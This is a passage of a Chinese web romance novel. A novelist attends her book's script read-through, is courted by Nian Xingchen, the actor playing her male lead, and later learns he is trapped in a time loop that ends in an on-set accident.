念星辰也来灵水了?不会这么巧吧?脑袋突然一阵没来由的阵痛,许夭夭揉揉眼睛,转瞬熟悉的身影已消失。
这时手机铃声响起。
“晚晚,我都听你的来灵水了……你都不知道刚才太尴尬了,那个女主角吴兮,我不认识她……”
“什么??女一换成吴兮了?不是说男一人选更换吗?项师哥还真能忽悠。”
“男一不知道,但是这个女一一副看着要吃人的面相。”
“八卦说她人比较冷傲挑剔,不太跟别人说话,不像女二赵君君,据说性格特别好,最近人气也挺高的,不过这么一来她明显就是为了压女二来的,你这个剧本我看了就还好吧,怎么项导出这么大力呢……”
“哎姜辞晚你什么意思?什么就还好,这可是我人气最高的一本书!还说呢,你那个帅的惊天地泣鬼神的项师哥怎么是个秃肥圆啊?”
“那是他工作压力大,当年可是学校风靡一时的校草……”
跟姜辞晚热聊起劲儿,不知不觉已经走回酒店。
灵水的徐徐晚风吹散了许夭夭没来由的头痛,也吹来了困意。
昨晚没休息好,许夭夭打算今天早点休息,明天以最饱满的状态迎接最棘手的人际交流。她刚想放下手机,又瞥见那个沉寂的对话框,不由自主的点开,上面居然显示‘对方正在输入…’
许夭夭疑惑的盯着屏幕,她退出来再点进去,仍然是‘对方正在输入…’
卡机了?
反复几次,终于只剩‘念星辰’三个字了。
虽然只是路上碰巧遇到的陌生人,毕竟也吃过两顿饭了,闲聊几句也没什么大毛病吧,但很多时候人和人之间可能只是有缘只此一见,那个空白一片的头像和毫无痕迹的朋友圈,这该不会是个小号吧!而且一看就是两个世界的人啊……许夭夭高度活跃的脑神经似乎已经大战八百回合了。
但很快,在思绪翻飞中她睡着了。
只是这一晚上好像做了八百个梦,每个梦境都有念星辰的影子。
一直到旭日金光,顶着鸡窝头洗漱的时候,许夭夭脑海里还是梦境中清晰如真的画面。她不禁悠悠感叹,果然是规划院的牛马们太粗拙了吗,见不得长这么好看的男生。
思绪游离中被手机铃声‘震醒’。
此刻时间八点半,完了完了来不及了!!
许夭夭随便抹了抹脸,套上外套,飞奔出去。
围读地点就在酒店一个茶楼,虽然不远,但卡着点进去还是略显尴尬,毕竟大家基本都到了。正对门口坐着的是换了白色外套的念星辰,未戴眼镜帽子,被落地窗穿透过来的阳光映射显得人特别白。
许夭夭以为眼花了,愣在原地揉了半天眼睛,所有人齐刷刷望着矗立在门口的她。跑的上气不接下气的她脸瞬间更红了。
“对……对不起,来晚了……”她尴尬的对着众人鞠躬。
圆溜溜的项导招呼她,“没事,逃芷老师过来这边坐,”他指了指念星辰对面的一个空位子,“人都到齐了,大家互相之间大概也认识,每个人的角色或多或少我们都线上线下交流过,那现在开始吧。”
还惊魂未定的许夭夭虽然坐下了余光还是瞥向念星辰的方向,他跟吴兮挨着坐,难道他是演员?想到昨天他说的艺术工作者,许夭夭一阵懊恼,自己也太蠢了,卖什么鬼的艺术品……
围读正式开始,念星辰开始读男主的台词……
走神的许夭夭立马回魂,她翻了一下新接过来的纸质的剧本,封面赫然写着主演:念无一、吴兮。
念无一??
念星辰吗?
男主??
许夭夭脑海里闪过那张青涩的身份证。余光瞥见正沉浸式念台词的人,是同一个人吧,刚进门的时候好像似乎貌似他对自己笑来着吧…………
她立马拿出手机搜索,果然念无一是艺名,还是名气挺大的艺名,早几年还获了些奖项,资料长的一下划不到底,少年成名,但资料显示近三五年却没什么作品,过气了?都说娱乐圈换代比翻书还快,一代新人换旧人,娱乐圈的青春比自己这种牛马还不顶用?
正心中惋惜慨叹之时,项导突然询问许夭夭,“逃芷老师你觉得无一的想法有没有道理?”
“啊?”神游的许夭夭一个字也没听到,支支吾吾的啊了两声,“对,说的对。”
“既然逃芷老师也没意见,那这段亲密戏就弱化一下。”
就像上课走神被老师点名的学生,许夭夭的脸一阵发热,她连忙翻腾一下剧本,找到他们对话的位置。
这个剧本故事名叫《将军冢》,女主是刺客,男主曾经是意气风发的少年将军,因遭陷害中毒后身体孱弱,但意志坚定,因为同想得到一件宝物而误入将军冢,发现了一系列隐秘事件,而后并肩而行,一起克服困难的故事。女二是世家小姐,与男一自小有婚约,但并非互相喜欢。
刚才是在说男主与女二的亲密戏,是有一点,但也不算亲密,这一段主要凸显的是女二的个性,原著是没有的,编写剧本的时候分明是导演让增加的,现在又弱化了。许夭夭悄悄瞄了一眼饰演女二的赵君君,她似乎也默认没说话。昨天在大堂未看清面容,今天一看确实眉眼弯弯,面若桃李,看起来很亲切的样子。跟隔了俩座,一脸严肃的吴兮形成鲜明的对比。
这次的演员倒还真的挺符合角色的。
但是想到昨天姜辞晚说原定的女主也不是吴兮,说吴兮是奔着念无一来的。
一向是八卦之心熊熊燃烧的许夭夭,开始盯着俩人的表情来回看。
只是刚才还在沉浸式念台词的念星辰突然转头看了一眼许夭夭,跟她直勾勾的眼神稳稳相撞。“所以,你到底有什么企图?”铿锵有力的男低音。
虽然知道是台词,但许夭夭的心还是莫名漏了一拍,她赶忙故作繁忙的翻看剧本。
后面一上午许夭夭再也没敢看他,那张时而凛冽时而阴柔的面容倒是时不时看向角落里的她,嘴角带着不易察觉的笑容。
中午吃的简餐,清汤寡水的,下午结束的时候许夭夭感觉人都快饿晕了。
剧本围读加上定妆需要五天的时间,许夭夭本来就是牺牲周末来的,计划参加一天,晚上就坐火车回去的,结果实在难抵烤肉的热情……和项导的热情,只能半推半就的留下来。
“我还是第一次见到念无一真人呢,好帅啊。”
“是啊是啊,早几年他最火的时候我还买过他的周边呢!”
“现在不火吗?”许夭夭举着三盘子肉悄无声息的凑到两个讲悄悄话的女孩子身边。
“肯定没以前火了,就是听说受伤后消失了几年,可惜了……”
“受伤?受什么伤?”许夭夭紧接着问。
俩选菜的小姑娘回头瞅她一眼,“你是谁啊?”
“我……我……我是……”
“没事别瞎打听!”俩人白她一眼无语的走开了。
许夭夭尴尬的小声嘟囔道:“……来参加围读的…作者…”。<
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这次是剧组人员大聚餐,整个烤肉店都是剧组的人,主演和导演制片编剧等都在包厢,没人喊许夭夭过去,她只能跟其他聚餐的工作人员一起在大厅…大快朵颐。
“什么?没人管你吗?这个项海怎么回事,打电话的时候妹妹长妹妹短的,人去了他一点也不重视了,要不是我还有工作,就跟你一起去了……”
“你别急,晚晚,他们热情的喊我留下来吃晚饭的,再说我一个人更自在,吃自助想吃多少吃多少,人多了反而拘谨,”许夭夭边说边端起了第五盘小肥羊。
坐在最角落里吃的畅快淋漓的时候,一个白影在对面坐了下来,“晚上别吃太撑了,容易积食。”熟悉的低沉却温润的声音,许夭夭刚塞嘴里的肉,都来不及咽下去,一脸窘迫的想喝口水,却又差点抢到。她是发现了,每次跟念星辰碰面不是狼狈就是窘迫。
“慢点,又没人抢。”
许夭夭一边咳一边心想,昨天还是路上偶遇的好心帅哥,今天就变成了望尘莫及的明星,她该用什么方式开口。
见她犹疑,念星辰立马解释:“之前我没有故意骗你,再说我的真名确实叫念星辰,开始我不知道你真的不认识我,后来发现你很有趣。”他似乎对于许夭夭今天的出现并不意外。
礼貌的言语刚在许夭夭脑子里编辑好,听他这么说怼人的话脱口而出:“我非得要认识你吗?就不能你认识我?”
“我认识。”
“啊?”
“在申城图书馆。”
许夭夭检索了一遍记忆,并没有这么……有记忆点的人物出现,但是她确实经常去图书馆写作。
“前两天你怎么不说。”
“我以为你对我有印象,后来发现你没有,一个陌生人突然跟你说认识你,不奇怪?”
见她还在疑虑,念星辰继续说道:“第一次见面你在一个靠窗的位置改《将军冢》的剧本,有数次图书馆只剩我们两个,可能你太专注了未发觉。”
“那可能是,我写作的时候,家里的猫自己开了电视我都没发现……”不对!改剧本是几个月之前的事了,听姜辞晚说两个月前换了男主,看样子女主也是新换的,许夭夭脑海里蹦出一个奇怪的念头,“你不会是躲在我背后看了剧本,特意来演这个剧的吧?”
坐在对面的人嘴角微勾,“前人辞演,可能是缘分。”
许夭夭抿了抿嘴,“你不会连我来参加围读也知道吧。”
此时的念星辰眉眼温和,在餐厅灯光的映射下,眼底仿佛真的有娟娟星河,“我又没在你身上装监控,怎么能未卜先知。”
许夭夭缓缓输出一口气,也不知道为什么,每次见到他总有一种说不清道不明的情绪。说不上来哪里不对,但又没有觉得很对。
虽然是在角落里,但是两人旁若无人的畅聊还是引来了很多人的注意。
“现在我终于知道前天晚上在那个餐厅吃饭的时候为什么有人拿手机拍你了,今天你倒是也戴上墨镜啊。”许夭夭已经不尴尬了,开始揶揄他。
“我们换个地方聊吧。”
“不好吧,说好聚餐,别人都没走,你走了不是在耍大牌?”
虽然有很多顾虑,在念星辰的怂恿下两人还是悄悄离开了自助餐厅。说起来也奇怪,许夭夭平时也算有点戒备心的女生,怎么一遇到念星辰就完蛋。
两人没开车,从酒店花园一直溜达到了后面的江边,很不合时宜的方有知的晚间打卡电话又来了。
“你男朋友?”
许夭夭连忙摆手,“不是不是!家里一个热心亲戚介绍的相亲对象……”
“你有男朋友吗?”念星辰突然表情认真。
想到自己大学那段只有三天的初恋,许夭夭莫名一阵尴尬,“这倒没有……”
“那你觉得我怎么样?”
念星辰的语气温和的似是远方飘来的,非常不真实。
虽是冬日的江风却没有那么凛冽,偶有拉着货物的行船路过,鸣笛入耳如响亮的号角,把一切又拉回现实。
许夭夭冷不丁的打了个喷嚏,才冒出俩字”……什么?”
念星辰接着又说:“你觉得我够不够你找男朋友的标准?”
大脑高速运转的许夭夭干巴巴的呵呵两声,“我……我没这么高的标准。”
“那就是够了。”
“你……你可真会开玩笑。”
“我没开玩笑。”
“……”
“夭夭,可以做你男朋友吗?”
这下许夭夭呵呵不出来了,她嘴角抖了两下,脸瞬间红透,一时之间喉咙跟封印了似的,半个字也吐不出来。
“也可以想想再回答,不着急。”
5. 突袭吧
许夭夭已经忘记怎么走回的酒店客房,四肢和脑子仿佛在各干各的,此后三天人都晕乎乎迷迷瞪瞪的。
对,她感冒了,但确切的说感冒也不严重,但是人就是感觉跟在天上飘着似的。
“小许感冒好点了吗?上次发的那个文件有空再发我一下。”
“许工现场的资料您啥时候方便发一下,我们先整理起来。”
“小许,你给王总回个消息……”
“夭夭姐,改好的平面图发您邮箱了,您看下还有问题吗?”
……
就请了一天假,工作消息就跟要从手机里溢出来了似的。躺在床上的许夭夭抽抽鼻涕,悠悠的叹了口气,但是她不敢睡,一闭上眼就是念星辰认真却又带着些许松弛的脸。
简直着了魔了,也不发烧,就是头疼晕。
“你不会是流感了吧?最近那个甲流挺严重的。”
“不知道啊,医生就给开了个感冒药,让多休息。我现在都不敢多睡,只要一闭上眼就……”
“闭上眼怎么了?”电话那头的姜辞晚着急的问。
“也没什么……”
从那天晚上分开到现在许夭夭都没再跟念星辰讲过话,对方仿佛也很识趣的没有再出现,虽然当时还有点激动,但冷静下来许夭夭反而更觉得不真实,两人根本不是一个世界的人,或许他只是无聊的开了个玩笑罢了。
隔日。
设计院项目大会,最新的旅游村项目进入方案敲定阶段,各个小组因为连日的方案修改都面带怨气,不管是规划建筑景观还是创意,没有人想再连夜加班,就甲方反馈的问题,已经讨论了整整一下午。
许夭夭因为感冒刚好转,会议室压抑的氛围让她头昏脑胀,眼看快到晚饭点,这个会还没有结束的意思,肚子已经开始咕咕咕。
这时前台的小林进会议室给所长倒水,路过后排的许夭夭时弯腰悄悄说道:“夭夭,前台有人找你,已经等了快两个小时了。”
因为许夭夭经常迟到的缘故,跟前台林小晓也混的比较熟,偶尔对方还会帮她蒙混一下。
“谁呀?”许夭夭压着嗓子问。
“是个帅哥。”
帅哥?
许夭夭从林小晓的脸上已经看到了八卦的表情,行政部最强八卦选手,公司有点啥花边或者内幕,有一大半许夭夭是从她那里听来的。
但是作为一个生活只有工作的宅女,社交圈子小的可怜,许夭夭第一反应就是方有知满屏的消息她没回,完了,只要他知道公司地址……
许夭夭扫了一眼此刻正滔滔不绝的建筑组长,她猫着腰从后门出去。
此刻前台边角处有几个商务部的小姑娘聚在一起窃窃私语,还有端着水杯假装来回走动的,接待区的沙发上坐着一个黑色毛呢外套,黑毛线帽子黑墨镜黑口罩的人,这一身刺客黑,许夭夭心咯噔一下。
显然对方看到她了,预要起身过来,许夭夭连忙冲过去。
“你怎么来啦?”许夭夭震惊的语气中似乎还带了几分欣喜,仿佛几天前的尴尬突然就消散了。
“给你带的甜品,不过两个小时了,可能会影响口感。”念星辰递给她一个密封手提袋。
接过袋子时碰到那双骨节分明的手,心砰砰砰,许夭夭耳根子瞬间红透。
“你……怎么会知道我们公司地址?”
“问的项导。”
“项导怎么会知道……”……姜辞晚这个大嘴巴,许夭夭一阵腹诽,“那你来找我是有什么事吗?”
“不是说三天就回答我,已经过去好几天了。”
“……”
想起那天晚上的落荒而逃,从小到大都存在感很弱的许夭夭哪里经历过这场面,“你……不是开玩笑吗?”
“我大老远跑过来跟你续这个玩笑吗?”
“……不不是…可是我们才认识没几天…你……”
许夭夭捏着手提袋来回摩挲,感觉脚趾头都在用力抠地,这时远处看热闹的人越来越多。虽然包的严实,但念星辰这肩宽腰窄的男模形象也太扎眼了。
“要不,我微信回答你可以吗?”
“还要想吗?”
“……稍微想想。”
“那我等你下班。”
“别别,我们还没开完会,你在这里等不耽误时间吗?”
他扫了一眼远处对着这边探头探脑的几个女生,温和的说道:“明天剧组开始半个月的封闭集训,今晚得赶回去。要不等你下班一起吃晚饭,我在停车场等你。”
说完还不等许夭夭回答,他起身往电梯间走去。
望着他的背影许夭夭还在愣神,要说不喜欢吧,帅到现实中难找的谁会不喜欢,许夭夭一看到他的脸就跑神,说不了解吧,但是见面第一天,抛锚的车子里,念星辰跟背族谱似的把家里几代都交代了个遍。
但是为什么心慌慌的。
“哎呦,刚才的蒙面帅哥是谁呀?不会是追求者吧。”林小晓首先凑上来一顿打趣。
这时赵蜜从会议室跑出来找她,“夭夭姐,你怎么在这啊,刚才所长找你呢,王胖子又甩锅!”
王胖子是他们规划二组的组长,一贯的甩手掌柜,不干活只甩锅,但是碍于关系户进来的,所长也睁一只眼闭一只眼,但是苦了许夭夭他们这些纯牛马。
五个小时的项目会终于结束了,已经六点多快七点了。
“夭夭姐,咱们真不加班吗?”
“不加,给他王胖子长什么脸,咱们组的哪个项目他从头跟到尾过!”
赵蜜竖起大拇指,“还得是你!难得今天下班早,叫上小刘咱去吃火锅?”
“今天我有事就不去了,你们去吧。”
“夭夭姐你不会要去相亲吧?”
“……不是,我先走了哈,明天见。”
怕她继续追问,许夭夭拿了包连忙往外冲。
因为平时不开车,很少到地下停车场,她按照念星辰发的位置和车牌看到一辆灰色的商务车。
刚凑上前,司机车窗放下来,“是许小姐吗?”
许夭夭点头。
车上等候的人在座椅上歪着头已经睡着了,睫毛紧闭,双手微垂,连开车门都未惊醒。
因为对娱乐圈没有兴趣,许夭夭从未了解过艺人的行业和工作,但是上次听到统筹的小姐姐说围读加定妆要五天时间,那今天他是一结束就来了吗?
司机师傅转头要喊醒睡着的人,许夭夭连忙制止。
恰巧熟睡的人醒了。
“下班了。”
“嗯。”
“饿了吧?我们去吃饭。”说罢示意司机师傅开车。
仿佛是认识许久的人,在说一些家常,这一幕陌生又熟悉,似乎在哪出现过,难道是梦里?
“我听晚晚说那些明星平时都有助理经纪人跟着,你怎么总是自己一个人。”
念星辰调整了一下座椅,坐直了一些。
“雇人不得花钱?”
“啊?”
“逗你的,经纪人有自己的事情,助理先下班了。”
“哦……”
似乎自从认识念星辰,就一直在吃饭,短短几天时间这已经是第四顿饭了,网上说喜欢就是一起吃好多顿饭,想着想着许夭夭不免脸颊红润。
“是有点热吗?”
在她走神的时候没注意到念星辰一直注视着她,车里狭窄的空间,忽然对视,许夭夭感觉听到了自己的心跳声。
幸好餐厅很快就到了。
是一家看起来非常不像烤肉店的烤肉店,空旷暗黑无人……
许夭夭心里犯嘀咕,毫无烟火气的烤肉店能好吃吗?
但是仅仅五分钟,她就否定了自己的主观臆断。
“为什么你找的餐厅都这么好吃!”想当初她可是为了能吃上肉,宁可舍弃清静的出租屋回家挨叨叨的人,在肉面前,相亲都能忍了。
“是因为你饿了。”念星辰一遍熟练的烤肉,一遍给她夹进盘子中。
“你怎么不吃?”
“我有固定餐食。”
许夭夭一边满口塞肉,一边疑惑,“为什么?”
“马上开拍了,你自己的男主角什么形象你不知道?”
许夭夭脑海里顿时浮现出将军冢楚昭行能打却不持久的病态瘦弱感。每个作者对于自己书中的人物都是万分热爱的,当时写的时候,许夭夭觉得楚昭行应该是瘦弱到需要人扶,佯装半死,却时不时能捅别人两刀的形象,现在看来对演员确实有点苛刻了。
“难为你了。”
“不敢,希望能塑造出你心目中的人物形象。”
“其实刚认识你的时候就觉得你挺适合演楚昭行的。”
“我看起来很阴险?”
许夭夭马上否决他,“怎么会,楚昭行的阴险都是装的。”
这时念星辰的手机响了。
他顺势接通,因为餐厅本就没人,又是隔间制的,电话那头的声音平添几分清晰。依旧是上次无意听到的那个娇媚女声。
“跟秦朝沟通,拍戏,不回。”说罢挂断电话,言语简略的像换了个人。
“你还有事要忙吗?”看他表情严肃,许夭夭小心的问道。
转而念星辰又换上温和的一面,继续烤肉,“没什么事。”
见许夭夭低头不语,他接着又说道:“闲来无事跟朋友一起做的科技公司,平时都是他在管。刚刚是公司商务,只是说一些工作事宜。”
“哦…好…没事不用解释…额你还开公司呀?厉害厉害……”感觉自己有点语无伦次的,许夭夭赶紧低头吃饭,坐在对面的人仿佛看到什么可爱的场面,嘴角浅笑,默默给她夹了一碗肉。
这一顿饭又是许夭夭吃撑结束,想着上次的请客承诺,许夭夭眼疾手快的抢过结账单,把前来结账的服务生吓了一跳。
不看不要紧,一看,两千七……什么神仙肉这么贵啊!!
但是单子都抢过来了,不付就更尴尬了,只是她犹疑的片刻,念星辰已经结完。
许夭夭不自在的笑笑,“又让你破费了。”
“不客气,下次你带我吃好吃的,”念星辰笑容中带了几分不易察觉的宠溺。
晚上九点半,许夭夭已经坐念星辰的车到达自家小区门口,老旧的小区在昏黄的灯光下又复古了几分,路边的一排杂食店偶有亮灯,三两行人嬉戏打闹,让高楼大厦圈起来的这方小天地显得格外有人情味。
念星辰戴上口罩帽子下车,“送你到楼下。”
许夭夭连忙摆手,“不用不用,几十米就到了,你还要赶夜路回灵水,快走吧。”要是被爱遛弯的爸妈碰到就糟糕了。
似是看出她的拒绝,念星辰也未再推辞,递给她一个礼物就离开了。
一晚上一个字也未提男朋友的事情。
这下许夭夭更忧愁了。所以他是什么意思呢??
边想边挠头的许夭夭,不知不觉就进了家门。
“许夭夭!!你是不是翅膀硬了!二十
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好几的人一点礼数也不懂!”进门的腿还没完全迈进去就被叉着腰怒气满天的老妈吓一跳。
“妈你干嘛呢这么大火。”许夭夭边换鞋边脱衣服。
“你说你爸天天就知道摆弄书,你一天到晚的叛逆,爷俩真是一天天气死我!”身穿家居服正打扫卫生的许妈妈唉声叹气。
“我这刚下班呢,怎么又惹到您啦?”许夭夭立马换了一副装巧卖乖的面孔。
”人家方有知给你发消息你为什么不回?”
许夭夭两眼一黑,今天方有知的‘小作文’忘记批阅了……“妈你跟介绍人说说,我们不合适。”
“什么不合适,怎么叫不合适?!人家有房有车,年薪又高,虽然长得一般,但是人老实可靠又上进,我看着合适的很。”
“老实没看出来,老倒是挺老。”虽然只见过一次面,但是方有知那油头皮鞋叔叔相确实印象很深。
“35哪里老,现在三十多还都是小伙子。”许妈妈嘟囔。
许夭夭喝了口水,忍不住反驳,“您这就双标了啊!您还说我年纪大。再说又不是菜市场买菜,光看经济实惠啊?”
“经济实惠不好吗?”
“我不是这个意思,我又不喜欢他。”
一说到这许妈妈更加生气。
“喜欢喜欢,你倒是找个喜欢的我看看,老大不小的人了,对自己的终身大事一点也不上心。”
“妈——,我才27,哪里老。”
这时正在书房看书的许爸爸出来打岔,“对,不老,囡囡还小呢。”
“哎,你们爷俩……”
趁着爸爸打岔,许夭夭赶紧进房间关上门,耳不听为净!
手机一放下,工作群里噼里啪啦一堆消息,本以为是改图的事情,许夭夭打开扫了一眼,全是王胖子恭维领导的马屁,自从进了设计院简直就是上了套的驴,加之现在行情不好,内卷严重,仿佛每个人都无端的充斥着焦虑。
这时赵蜜的消息发过来:夭夭姐,你看群里,王胖子又在邀功,分明是你干的活。
许夭夭回:算了他头大让给他。
作为一个很i的宅女,许夭夭实在不擅长这些人情世故,答应编辑的文这几日要完稿了,她把手机扔一边打开电脑,戴上耳机。
或许过于专注,等结束一个篇章伸懒腰的时候,已经是凌晨快一点了。
手机上除了工作消息,再无其他。
许夭夭点开念星辰的对话框,手捏着手机壳摩挲一会儿,快速打出一行字:到剧组了吗?
对方秒回:还未,快了。
不会是开车回吧,许夭抿抿嘴:一路上辛苦了,念老师。
发出去感觉好像哪里不对,许夭夭迅速撤回。
显然对方已经看到了,又是秒回:甘之如饴,许老师。
许夭夭嘴角不自觉的上勾,但似是想到什么,立马又撤回一个笑容。下午在公司的追问的场景立马浮现在眼前,怎么兵临城下了对方又撤兵了是怎么回事。
欲擒故纵?
欲擒故纵这四个字又在许夭夭脑子里转了七八天。甚至连工作效率都降低了,改图不得不熬了个通宵。
周日,许夭夭被姜辞晚拉来体验一个高空瑜伽课。
卷发挽起,一脸精致全妆,高贴合度塑身衣勾勒出曼妙身材的姜辞晚,跟一身松垮,素面朝天,两眼无神的许夭夭形成鲜明对比。
商场里的瑜伽馆是整面的落地玻璃,偶有路人经过频频转头看向宛若轻燕的姜辞晚,而此时的许夭夭笨拙的翻了个跟头,差点脑袋杵到地上去。
“没事吧?怎么感觉你心不在焉的?”
“可能熬夜没休息过来。”满脑袋汗的许夭夭举手,表示撤下腰上的高空拉绳。
“怎么看着心事重重的,不会在公司被人欺负了吧?!”姜辞晚也撤下了装备,抽一张纸浅浅擦了擦额头的汗,因为运动的加持,白里透红的气色朝气中更添几分魅惑。
“有个小说最近要截稿,都赶一起了!”精疲力尽的许夭夭靠着墙面一屁股坐下。
“说起来你帮我要念无一签名了吗?”
当日,参加剧本围读一天太烧脑了,又加上当日晚上念星辰那个惊天一问,许夭夭把这事忘的一干二净……
“额……我……”
看她吞吞吐吐的,姜辞晚佯装生气:“别跟我说你忘了!”
“对不起晚晚,下次下次我一定帮你要。”
“算了,就知道你不靠谱,我找项师哥要,我知道你这性格张口去跟陌生人说话比登天还难!”
“你喜欢念无一吗?”许夭夭突然思绪繁杂的吐出几个字。
“喜欢呀,帅哥谁不喜欢,那可是我青春时期的偶像。”姜辞晚微微昂首,流畅的下颌线和天鹅颈,连许夭夭看了都忍不住要感叹。
“那你想跟他谈恋爱吗?”
姜辞晚仿佛听到了什么大笑话,忽而转头看着她噗嗤一声,“你在说什么胡话!偶像自然只能用来瞻仰。”
“用词不当,他又没死。”
“我的意思是偶像就是一种精神寄托,不活在现实生活中。你今天真的很奇怪啊,不是生病了吧?”姜辞晚一双杏眼微眯,伸手摸了摸许夭夭的额头。
许夭夭故作自然的整整衣服,“就是一些小小的疑惑。对了,问你一个问题,假如……我是说假如哈,一个男的想和你谈恋爱,你没回答也没拒绝,他就没有回音和动作了,这是什么意思?”
“谁追你?!”
6. 时间循环
姜辞晚眼神似猎狐一般,仿佛嗅到了什么。
“没人追我,哎呀,不是我,是一个朋友!”许夭夭神色躲闪,下意识的整理衣角。
转而姜辞晚变为探究,“你的哪个朋友我不认识?”
“公司的一个同事,八卦来着……”
“那你这同事怕不是遇上渣男了。”
“渣…渣男吗?”
“也不一定,得具体情况具体看,所以你为什么不回答呢?……哦你同事为什么不回答呢?”姜辞晚配合的问。
许夭夭也感觉到自己的托词非常牵强,懒得再辩解,只是她的恋爱经验不足以支撑这么刁钻的问题,“可能不知道怎么回答吧。”
“长得帅吗?
“嗯…非常好看的那种。”
“那还等什么,赶紧答应啊。”
“啊??”
姜辞晚性格干脆干练,果断独立,虽有柔媚的一面却从来不会在情感上花费过多的时间精力,向来就是喜欢就出击,不喜欢就拜拜。
两人言辞婉转的聊半晌,许夭夭得到的帮助微乎其微,甚至更加迷茫,但是作为一个尽职尽责的社畜,她很快就被铺天盖地的工作充斥而无暇伤怀。
都说设计院除了单身牛马就是老夫老妻娃大了的,完全不可能有在恋爱中的,每天十几个小时的致死量,这工作强度,谈个恋爱对方都可能怀疑你外头有人了。
“夭夭姐,后天有个讲座,有你喜欢的建筑师苏物哎!”查资料查的头大的赵蜜突然悄悄移动座椅滑倒许夭夭身边,在只有键盘声和鼠标声的办公室里尤显突兀。
这时耳朵上插着一根笔的小刘插话:“只可惜在灵水,太远了。”
“后天咱们要去灵水出差呀!”
短时间内大量资料涌进脑瓜的许夭夭,在瞳孔即将涣散之际骤然收紧,“刚接的项目是灵水的?”
“是呀,”赵蜜缩了缩脖子,压低声音,“咱们老大跟灵水那边又搭上线了,这一波接到大项目了,这把还得多亏王胖子谄媚第一,咱们先去跟进,后面咱就占大头。”
灵水两个字已经把书海沉浮的许夭夭彻底拉回现实。
灵水《将军冢》剧组附近的室内篮球场。
球鞋与地板的摩擦发出刺耳的声响,不停“刷刷”入网的篮球发出碰撞的闷响,周围没有欢呼声,甚至没有人,只有身着汗水打湿白色球衣的利落身影,胸肌和腹肌若隐若现。他不停的重复运球旋转跨越投篮捡球,仿佛思绪已飘远只剩肌肉记忆。
篮球场墙边的休息座椅上,四仰八叉翘着二郎腿坐着一个花衬衣休闲裤子年轻男子,身型因清瘦而凹下去,却也非弱不禁风,头发微翘,似是这副着装打了一会儿球了,领口多开了一颗扣子,额头有些薄汗。
“老念你别打了,过来聊会儿!”秦朝拿起地上的水喝了一口,从外套口袋里掏出震动的手机查看。
过了两分钟,像投篮机似的人终于停止动作,回到休息区。
“公司新研发的项目已经投入生产,后面没什么大事。”念星辰说罢也捞起矿泉水喝了一口。
“大事是没有,但你也不能全甩手吧!”瘫坐的人一边发消息一边控诉不满。
“刚刚不是跟你说了缘由。”念星辰的声音有些沙哑,额边的汗珠顺着清晰的下颌滴到塑胶地板上。
“我怎么觉得你在忽悠我呢!你说你一直在循环?那我怎么感觉不到?”
“是我的世界在循环。”
“这么说循环18次,每次两三年,那你现在少说得七八十了吧?!”
被秦朝的歪理邪说无语到,念星辰靠着休息座椅微微闭眼。
是的,他在濒死的前一刻进入了无限循环,仿佛一直在重复他出意外前的两三年,到底是两年还是三年,很难说,因为终点就是出意外的那一天,随后他就在图书馆复活,时间倒退两三年,重复再重复,就像卡带的时间机倒回去再前进卡住又倒回去……
一开始他恐慌焦虑,用尽所有办法避开意外,但意外就像设定好的结局,无论走哪一条曲线,最终都会降临。
这个循环的牢笼无人一起,世界变得异常孤独,念星辰甚至想过,死了一了百了,但是命运根本不给他机会,因为他死也死不了。
但所有的不可解在上一轮的濒死前夕出现了小小的‘破绽’。
经历了十几次的‘意外’,他以为周围的所有人,发生的每一秒他都已经如数家珍,但是唯独漏掉了远处慌乱中震惊惊恐和矗立在当场手足无措的许夭夭,在许多的情绪中他甚至还捕捉到了一丝爱慕,这种眼神他倒是见过很多。那个女孩的脸他似乎有些熟悉,见过,或许很多次,有一些断断续续的画面,但在哪里见过却又想不起来,所有人都有不得不在场的缘由,只有她没有。
她像一个局外人。
那场意外就是片场的意外,打戏摩擦磕碰,念星辰遇到过无数次,甚至刚开始的几次循环他放弃了当演员,仍然会阴差阳错的在片场发生意外,在一堆熟悉的人中坠落。
像一种魔咒。
她到底是谁呢?片场所有人他都认识,只有她陌生,孤单,像是有结界一般。
当念星辰再次在图书馆醒来的时候,他满脑子都是那张除了清纯也无甚特别的脸,但这张普通的脸却像烙印一般挥之不去,直到有一天他竟然发现这个女孩就在图书馆的角落里,静静地不知道写什么。
当一个无懈可击的故事出现了破绽,他甚至不敢触碰这个乱麻中的线头。
她几乎每周末都来,下午两点左右到,晚上关门才走,坐在相同的位置,全神贯注,雷打不动。只是时而抓耳挠腮,时而唉声叹气。
出于好奇,念星辰假装拿书路过她,看到了她写的内容,甚至还会多停留几秒,也未引起她的注意……
“醒醒醒醒,老念你怎么睡着了!”
靠着休息座椅的人被蛮力摇晃,忽而从半梦半醒中回神。
站在面前的秦朝肩膀上搭着外套,斜侧着身体,手仍一刻不停的在回消息,时而嘴角勾笑,像个套不住绳索的小狼。
“我可不管你轮回还是循环,事儿你得干,有个私人活动你得去,到时候时间地点我发你,我有
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事得先走了,记得帮我跟吴兮问好。”
说罢肩膀一甩,外套利落的套上,朝门口走去。
时间已近傍晚,落日如燃烧的琥珀,带着炙热却不再灼目,天际的飘云焕发出斑斓的色彩,剧组所在的位置在近郊,能看到不远处的山峦,灵水的冬日,枝桠依旧有墨绿的叶片。
出了一身汗,念星辰出篮球馆的时候已经戴上了线帽口罩。今天是难得的休息日,明日一早又是抹黑起来拍戏了。
走回去的路上他数次看手机,仿佛在犹豫又或是等待什么。
那天许夭夭的反应依旧历历在目,他也没有做过主动出击的事情,虽有再三考虑,但想来仍有些许不妥吧。毕竟是他被锁定的人生,如果钥匙不是她…可是为什么会出现那些残缺的记忆…
念星辰想要开口说些什么但又觉得刻意做作。冬日的天总是黑的很快,天光消失,寒风便无孔不入的肆意拍打着路上的行人,念星辰扣紧外套快速上了一辆车。
不知道哪里放了一个烟花,在深蓝色的夜空炸出绚烂的星星点点,后天就是元旦了,这个月末最后几天不但天天加班,还要出差,许夭夭就差把窝火写脑门上了。
“夭夭姐,晚上咱出去逛逛吧,来都来了。”这次出差是团队出行,赵蜜跟许夭夭一个房间。
“昨天加班到12点才回去,今天还忙了一大堆事,我想睡觉。”许夭夭揉了揉发胀的脑袋。
“那不如我们去泡汤吧,可以解乏,反正今天晚上也没工作安排!”平时甚少出差的赵蜜一脸雀跃。
上次来许夭夭去泡汤被例假阻挡在门外还十分遗憾,但是明天上午安排非常满,需要精神饱满的状态。
眼看许夭夭犹豫不决,赵蜜眼珠一转故作忧愁:“我还是第一次来灵水呢,听说这边的温泉特别有名,一个人去会不会有点无聊…”
十分钟后,包裹严实的俩人上了出租车。
还是上次那家无人的温泉会所,今天依旧是门可罗雀。
